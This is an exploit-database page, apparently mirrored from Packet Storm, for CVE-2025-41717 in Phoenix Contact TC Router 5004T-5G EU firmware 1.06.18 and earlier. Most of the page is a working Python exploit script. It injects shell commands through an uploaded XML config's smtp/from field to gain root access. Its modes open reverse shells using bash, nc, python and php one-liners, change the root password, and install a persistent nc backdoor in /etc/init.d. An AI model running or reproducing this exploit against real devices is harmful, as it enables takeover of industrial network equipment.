Lucene search
K

πŸ“„ Phoenix Contact TC Router 5004T-5G EU 1.06.18 Authenticated Command Injection

πŸ—“οΈΒ 07 Jul 2026Β 00:00:00Reported byΒ indoushkaTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 8Β Views

Authenticated command injection on Phoenix Contact router 5004t-5g EU with firmware up to 1.06.18.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-41717
13 Jan 202608:19
–circl
CNNVD
PHOENIX CONTACT TC ROUTER 代码注ε…₯漏洞
13 Jan 202600:00
–cnnvd
CVE
CVE-2025-41717
13 Jan 202607:48
–cve
Cvelist
CVE-2025-41717 Config-Upload Code Injection
13 Jan 202607:48
–cvelist
EUVD
EUVD-2026-2363
13 Jan 202607:48
–euvd
NVD
CVE-2025-41717
13 Jan 202608:16
–nvd
Positive Technologies
PT-2026-2351
13 Jan 202600:00
–ptsecurity
RedhatCVE
CVE-2025-41717
14 Jan 202608:13
–redhatcve
Vulnrichment
CVE-2025-41717 Config-Upload Code Injection
13 Jan 202607:48
–vulnrichment
==================================================================================================================================
    | # Title     : Phoenix Contact TC Router 5004T-5G EU 1.06.18 Authenticated Command Injection                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.phoenixcontact.com/                                                                                  |
    ==================================================================================================================================
    
    [+] Summary    :   authenticated command injection in certain Phoenix Contact TC Routers (5004T-5G EU, firmware ≀ 1.06.18).
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import os
    import sys
    import re
    import time
    import json
    import base64
    import socket
    import random
    import string
    import hashlib
    import argparse
    import requests
    import threading
    import urllib3
    from xml.etree import ElementTree as ET
    from urllib.parse import urljoin, urlparse
    
    urllib3.disable_warnings()
    
    # ======================
    # BANNER
    # ======================
    BANNER = """
    ╔═══════════════════════════════════════════════════════════════════════════╗
    β•‘	
    β•‘ β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—  β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—  β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— 
    β•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
    β•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆ   β–ˆβ•”β•β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘
    β•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘
    β•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘
    β•‘ β•šβ•β•β•šβ•β•  β•šβ•β•β•β•β•šβ•β•β•β•β•β•  β•šβ•β•β•β•β•β•  β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•
    β•‘                                                                             β•‘
    β•‘            CVE-2025-41717 - Phoenix Contact TC Router                       β•‘
    β•‘              Authenticated Command Injection (Root)                        β•‘
    β•‘                                                                             β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
    [+] Critical Vulnerability | Remote Code Execution as Root
    [+] Affected: TC Router 5004T-5G EU <= 1.06.18
    """
    class Config:
        SOCK_PORT = 14323
        CONFIG_UPLOAD_ENDPOINT = "/cgi-bin/config-upload"
        LOGIN_ENDPOINT = "/cgi-bin/login"
        SESSION_TIMEOUT = 30
        MAX_RETRIES = 3
    class MaliciousConfigGenerator:
        """Generating a malicious XML configuration file"""
        @staticmethod
        def generate(command: str, new_root_password: str = None) -> str:
            """
            Generating an XML configuration file containing the injected command.
    
    The vulnerability is in the smtp/from field where the command is injected.
            """
            if not new_root_password:
                new_root_password = MaliciousConfigGenerator.generate_random_password()
            injected_from = f"p () t com'$({command})'"
            config = f'''<?xml version="1.0" encoding="UTF-8"?>
    <config>
        <entry name="conf/smtp/auth">1</entry>
        <entry name="conf/smtp/from">{injected_from}</entry>
        <entry name="conf/smtp/local">1</entry>
        <entry name="conf/smtp/password">asdasdasd</entry>
        <entry name="conf/smtp/port">25</entry>
        <entry name="conf/smtp/server">192.168.19.138</entry>
        <entry name="conf/alerts/sock_enable">1</entry>
        <entry name="conf/alerts/sock_port">{Config.SOCK_PORT}</entry>
        <entry name="conf/alerts/sock_xml_io">0</entry>
        <entry name="conf/alerts/sock_xml_nl">1</entry>
    </config>'''
            return config
        @staticmethod
        def generate_random_password(length: int = 12) -> str:
            """Generate a random password"""
            chars = string.ascii_letters + string.digits + "!@#$%^&*"
            return ''.join(random.choices(chars, k=length))
        @staticmethod
        def generate_change_password_command(new_password: str) -> str:
            """Generate root password change command"""
            return f'echo "root:{new_password}"|chpasswd'
    class TCRouterClient:
        """The client to interact with the TC Router"""
        def __init__(self, target: str, username: str, password: str, verbose: bool = False):
            self.target = target.rstrip('/')
            self.username = username
            self.password = password
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = False
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Accept': 'application/xml, text/xml, */*',
                'Content-Type': 'application/x-www-form-urlencoded'
            })
            self.authenticated = False
        def _log(self, msg: str, level: str = "INFO"):
            if level == "ERROR":
                print(f"[-] {msg}")
            elif level == "SUCCESS":
                print(f"[+] {msg}")
            elif level == "WARNING":
                print(f"[!] {msg}")
            else:
                print(f"[*] {msg}")
        def login(self) -> bool:
            """Device authentication"""
            login_url = urljoin(self.target, Config.LOGIN_ENDPOINT)
            self._log(f"Authenticating to {login_url}")
            data = {
                'username': self.username,
                'password': self.password
            }
            try:
                response = self.session.post(login_url, data=data, timeout=Config.SESSION_TIMEOUT)
                if response.status_code == 200:
                    if 'success' in response.text.lower() or response.cookies:
                        self.authenticated = True
                        self._log("Authentication successful", "SUCCESS")
                        return True
                    else:
                        self._log("Authentication failed: Invalid credentials", "ERROR")
                        return False
                else:
                    self._log(f"Authentication failed: HTTP {response.status_code}", "ERROR")
                    return False
            except Exception as e:
                self._log(f"Authentication error: {e}", "ERROR")
                return False
        def upload_config(self, config_xml: str) -> bool:
            """Uploading the malicious configuration file"""
            if not self.authenticated:
                self._log("Not authenticated. Call login() first.", "ERROR")
                return False
            upload_url = urljoin(self.target, Config.CONFIG_UPLOAD_ENDPOINT)
            self._log(f"Uploading malicious config to {upload_url}")
            files = {
                'config': ('malicious.xml', config_xml, 'application/xml')
            }
            try:
                response = self.session.post(upload_url, files=files, timeout=Config.SESSION_TIMEOUT)
                if response.status_code == 200:
                    self._log("Config uploaded successfully", "SUCCESS")
                    return True
                else:
                    self._log(f"Upload failed: HTTP {response.status_code}", "ERROR")
                    if self.verbose:
                        self._log(f"Response: {response.text[:200]}")
                    return False
            except Exception as e:
                self._log(f"Upload error: {e}", "ERROR")
                return False
        def trigger_sock_command(self, to_email: str = "[email protected]") -> bool:
            """Send an email via sock_server to execute the command"""
            self._log(f"Connecting to sock_server on port {Config.SOCK_PORT}...")
            xml_payload = f'''<?xml version="1.0"?>
    <email to="{to_email}">
        <subject>pwned</subject>
        <body>
        </body>
    </email>'''
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(Config.SESSION_TIMEOUT)
                sock.connect((self.target, Config.SOCK_PORT))
                self._log("Connected to sock_server, sending XML payload...")
                sock.send(xml_payload.encode())
                response = sock.recv(4096).decode()
                sock.close()
                if response:
                    self._log(f"Response received: {response[:200]}")
                    return True
                else:
                    return False
            except socket.timeout:
                self._log("Connection timeout", "WARNING")
                return False
            except ConnectionRefused:
                self._log("Connection refused. sock_server may not be enabled.", "WARNING")
                return False
            except Exception as e:
                self._log(f"Socket error: {e}", "ERROR")
                return False
    class ReverseShellHandler:
        """reverse shell connection management"""
        def __init__(self, port: int = 4444):
            self.port = port
            self.listener = None
            self.connection = None
    
        def start(self):
            """Start listening"""
            import threading
            def listen():
                try:
                    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                    server.bind(('0.0.0.0', self.port))
                    server.listen(1)
                    print(f"[*] Listening on port {self.port} for reverse shell...")
                    self.connection, addr = server.accept()
                    print(f"[+] Reverse shell connected from {addr[0]}:{addr[1]}")
                    while True:
                        cmd = input("\033[91mroot@router\033[0m# ")
                        if cmd.lower() == 'exit':
                            break
                        self.connection.send((cmd + '\n').encode())
                        data = self.connection.recv(4096).decode()
                        print(data, end='')
                    self.connection.close()
                    server.close()
                except Exception as e:
                    print(f"[-] Listener error: {e}")
            thread = threading.Thread(target=listen, daemon=True)
            thread.start()
            return thread
        def generate_reverse_shell_cmd(self, lhost: str, lport: int) -> str:
            """Generate a device-compatible reverse shell command.""
            reverse_shells = [
                f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
                f"nc -e /bin/sh {lhost} {lport}",
                f"telnet {lhost} {lport} | /bin/sh | telnet {lhost} {lport}",
                f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
                f"php -r '$sock=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
            ]
            return reverse_shells[0] 
    class TCRouterExploit:
        """main exploitation"""
        def __init__(self, target: str, username: str, password: str, verbose: bool = False):
            self.target = target
            self.username = username
            self.password = password
            self.verbose = verbose
            self.client = TCRouterClient(target, username, password, verbose)
        def execute_command(self, cmd: str) -> bool:
            """Executing a direct order"""
            print("\n[*] Generating malicious configuration...")
            config = MaliciousConfigGenerator.generate(cmd)
            if self.verbose:
                print(f"\n[DEBUG] Malicious config:\n{config}\n")
            if not self.client.upload_config(config):
                self._log("Failed to upload config", "ERROR")
                return False
            time.sleep(2)
            self._log("Triggering command execution via sock_server...")
            if self.client.trigger_sock_command():
                self._log("Command executed successfully!", "SUCCESS")
                return True
            else:
                self._log("Failed to trigger command", "WARNING")
                return False
        def change_root_password(self, new_password: str) -> bool:
            """Change root password"""
            cmd = MaliciousConfigGenerator.generate_change_password_command(new_password)
            self._log(f"Changing root password to: {new_password}")
            return self.execute_command(cmd)
        def reverse_shell(self, lhost: str, lport: int) -> bool:
            """Turning on reverse shell"""
            handler = ReverseShellHandler(lport)
            handler.start()
            cmd = handler.generate_reverse_shell_cmd(lhost, lport)
            self._log(f"Executing reverse shell to {lhost}:{lport}")
            time.sleep(1)
            return self.execute_command(cmd)
        def upload_persistent_backdoor(self) -> bool:
            """Permanent rear door lift"""
            backdoor_script = '''#!/bin/sh
    # Persistent backdoor
    while true; do
        nc -l -p 31337 -e /bin/sh
        sleep 1
    done
    '''
            b64_backdoor = base64.b64encode(backdoor_script.encode()).decode()
            commands = [
                f'echo "{b64_backdoor}" | base64 -d > /etc/init.d/S99backdoor',
                'chmod +x /etc/init.d/S99backdoor',
                '/etc/init.d/S99backdoor &'
            ]
            for cmd in commands:
                if not self.execute_command(cmd):
                    return False
                time.sleep(1)
            self._log("Persistent backdoor installed on port 31337", "SUCCESS")
            return True
        def _log(self, msg: str, level: str = "INFO"):
            if level == "ERROR":
                print(f"[-] {msg}")
            elif level == "SUCCESS":
                print(f"[+] {msg}")
            elif level == "WARNING":
                print(f"[!] {msg}")
            else:
                print(f"[*] {msg}")
        def run(self, cmd: str = None, change_password: str = None, reverse_shell: tuple = None) -> bool:
            """Operating exploitation"""
            print(BANNER)
            self._log(f"Target: {self.target}")
            self._log(f"Username: {self.username}")
            if not self.client.login():
                self._log("Authentication failed. Check credentials.", "ERROR")
                return False
            if reverse_shell:
                return self.reverse_shell(reverse_shell[0], reverse_shell[1])
            elif change_password:
                return self.change_root_password(change_password)
            elif cmd:
                return self.execute_command(cmd)
            else:
                return self.interactive_shell()
        def interactive_shell(self):
            """Interactive shell via device"""
            self._log("Entering interactive shell mode. Type 'exit' to quit.")
            self._log("Commands will be executed as root on the device.\n")
    
            while True:
                try:
                    cmd = input("\033[91mTC-Router#\033[0m ").strip()
                    if cmd.lower() in ['exit', 'quit']:
                        break
                    if cmd:
                        self.execute_command(cmd)
                except KeyboardInterrupt:
                    print("\n[*] Exiting...")
                    break
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2025-41717 - Phoenix Contact TC Router Command Injection",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      python3 exploit.py -t 192.168.1.100 -u admin -p admin -c "id"
      python3 exploit.py -t 192.168.1.100 -u admin -p admin --reverse-shell --lhost 10.0.0.5 --lport 4444
      python3 exploit.py -t 192.168.1.100 -u admin -p admin --change-password newpass123
      python3 exploit.py -t 192.168.1.100 -u admin -p admin -i
      python3 exploit.py -t 192.168.1.100 -u admin -p admin --backdoor
            """
        )
        parser.add_argument("-t", "--target", required=True, help="Target IP address")
        parser.add_argument("-u", "--username", default="admin", help="Username (default: admin)")
        parser.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
        parser.add_argument("-c", "--cmd", help="Command to execute on the device")
        parser.add_argument("-i", "--interactive", action="store_true", help="Interactive shell mode")
        parser.add_argument("--reverse-shell", action="store_true", help="Start reverse shell")
        parser.add_argument("--lhost", default="127.0.0.1", help="Listener IP for reverse shell")
        parser.add_argument("--lport", type=int, default=4444, help="Listener port for reverse shell")
        parser.add_argument("--change-password", metavar="NEW_PASSWORD", help="Change root password")
        parser.add_argument("--backdoor", action="store_true", help="Install persistent backdoor")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        args = parser.parse_args()
        exploit = TCRouterExploit(
            target=args.target,
            username=args.username,
            password=args.password,
            verbose=args.verbose
        )
        try:
            if args.reverse_shell:
                success = exploit.run(reverse_shell=(args.lhost, args.lport))
            elif args.change_password:
                success = exploit.run(change_password=args.change_password)
            elif args.backdoor:
                if not exploit.client.login():
                    print("[-] Authentication failed")
                    sys.exit(1)
                success = exploit.upload_persistent_backdoor()
            elif args.cmd:
                success = exploit.run(cmd=args.cmd)
            elif args.interactive:
                success = exploit.run()
            else:
                print("[*] No action specified. Running test command...")
                success = exploit.run(cmd="id")
            if success:
                print("\n[+] Exploit completed successfully!")
            else:
                print("\n[-] Exploit failed. Check credentials or target version.")
        except KeyboardInterrupt:
            print("\n[!] Interrupted by user")
            sys.exit(130)
        except Exception as e:
            print(f"[-] Error: {e}")
            if args.verbose:
                import traceback
                traceback.print_exc()
            sys.exit(1)
    if __name__ == "__main__":
        main()
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.8
EPSS0.00496
SSVC
8